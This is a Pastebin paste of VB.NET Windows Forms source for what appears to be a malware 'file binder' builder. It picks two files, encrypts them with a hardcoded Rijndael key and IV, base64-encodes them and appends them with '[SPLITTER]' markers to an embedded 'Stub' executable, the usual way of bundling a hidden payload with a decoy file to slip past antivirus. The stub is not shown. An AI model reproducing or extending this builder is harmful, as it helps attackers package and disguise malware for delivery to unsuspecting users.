Advertisement
Guest User

Untitled

a guest
Jun 18th, 2018
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.99 KB | None | 0 0
  1. Public Class Form1
  2. Dim F, F2 As String
  3. Function secure(ByVal data As Byte()) As Byte()
  4. Using sa As New System.Security.Cryptography.RijndaelManaged
  5. sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
  6. sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
  7. Return sa.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
  8. End Using
  9. End Function
  10.  
  11. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  12. Dim ofd As New OpenFileDialog
  13. With ofd
  14. .FileName = "*.*"
  15. .Title = "Choose a file..."
  16. .Filter = "All Files(*.*)|*.*"
  17. .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
  18. If .ShowDialog = Windows.Forms.DialogResult.OK Then
  19. F = .SafeFileName
  20. TextBox1.Text = .FileName
  21. End If
  22. End With
  23. End Sub
  24.  
  25. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  26.  
  27. Dim ofd As New OpenFileDialog
  28. With ofd
  29. .FileName = "*.*"
  30. .Title = "Choose a file..."
  31. .Filter = "All Files(*.*)|*.*"
  32. .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
  33. If .ShowDialog = Windows.Forms.DialogResult.OK Then
  34. F2 = .SafeFileName
  35. TextBox2.Text = .FileName
  36. End If
  37. End With
  38. End Sub
  39.  
  40. Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
  41. Me.Close()
  42. End Sub
  43.  
  44. Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
  45. Try
  46. Dim sfd As New SaveFileDialog
  47. With sfd
  48. .FileName = "*.*"
  49. .Title = "Choose an output folder..."
  50. .Filter = "All Files(*.*)|*.*"
  51. .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
  52. If .ShowDialog = Windows.Forms.DialogResult.OK Then
  53. Dim sp As String = "[SPLITTER]"
  54. Dim buffer As Byte() = My.Resources.Stub
  55. My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)
  56. Dim file1 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
  57. Dim File2 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
  58. System.IO.File.AppendAllText(.FileName, sp & Convert.ToBase64String(file1) & sp & F & sp & Convert.ToBase64String(File2) & sp & F2)
  59. MsgBox("Joined successfull", MsgBoxStyle.Information, "")
  60. End If
  61. End With
  62. Catch ex As Exception
  63. MsgBox("Error(s)", MsgBoxStyle.Critical, "")
  64. End Try
  65. End Sub
  66.  
  67.  
  68. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement